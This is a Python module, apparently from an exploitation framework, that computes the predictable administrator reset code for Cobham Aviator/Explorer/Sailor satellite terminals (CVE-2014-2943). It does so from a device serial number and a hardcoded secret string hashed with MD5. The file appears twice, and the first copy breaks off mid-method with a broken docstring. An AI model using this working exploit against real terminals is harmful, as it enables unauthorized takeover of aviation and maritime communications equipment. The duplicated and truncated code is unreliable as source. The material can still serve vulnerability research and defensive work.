# Path: interface/messages.py
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


import hashlib
import core.Misc
import core.io
from interface.messages import print_help, print_info
License: GNU GPL v3
Created: 4.12.2015
Description: generates predictable admin reset code for Cobham Aviator/Explorer/Sailor - CVE-2014-2943
Based on: Work by Sinnet3000 and
    https://www.blackhat.com/docs/us-14/materials/us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land.pdf

Options:
    Name        Description

    serial      Serial number of the device
    """

    serial = "12345678"

    def __init__(self):
        core.Misc.RextMisc.__init__(self)

    def do_set(self, e):
        args = e.split(' ')
        if args[0] == "serial":
            self.serial = args[1]
            print_info("Serial number set to: " + self.serial)

    def do_run(self, e):
        m = hashlib.md5()
        m.update(bytearray.fromhex(self.serial) + b'\x00'*12 + "kdf04rasdfKKduzA".encode('utf-8'))
        code = m.hexdigest()
        print("Reset code: " + code)

    def do_serial(self, e):

# Path: interface/messages.py
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


# Path: modules/misc/cobham/admin_reset_code.py
import hashlib
import core.Misc
import core.io
from interface.messages import print_help, print_info

License: GNU GPL v3
Created: 4.12.2015
Description: generates predictable admin reset code for Cobham Aviator/Explorer/Sailor - CVE-2014-2943
Based on: Work by Sinnet3000 and
    https://www.blackhat.com/docs/us-14/materials/us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land.pdf

Options:
    Name        Description

    serial      Serial number of the device
    """

    serial = "12345678"

    def __init__(self):
        core.Misc.RextMisc.__init__(self)

    def do_set(self, e):
        args = e.split(' ')
        if args[0] == "serial":
            self.serial = args[1]
            print_info("Serial number set to: " + self.serial)

    def do_run(self, e):
        m = hashlib.md5()
        m.update(bytearray.fromhex(self.serial) + b'\x00'*12 + "kdf04rasdfKKduzA".encode('utf-8'))
        code = m.hexdigest()
        print("Reset code: " + code)

    def do_serial(self, e):

        print_info(self.serial)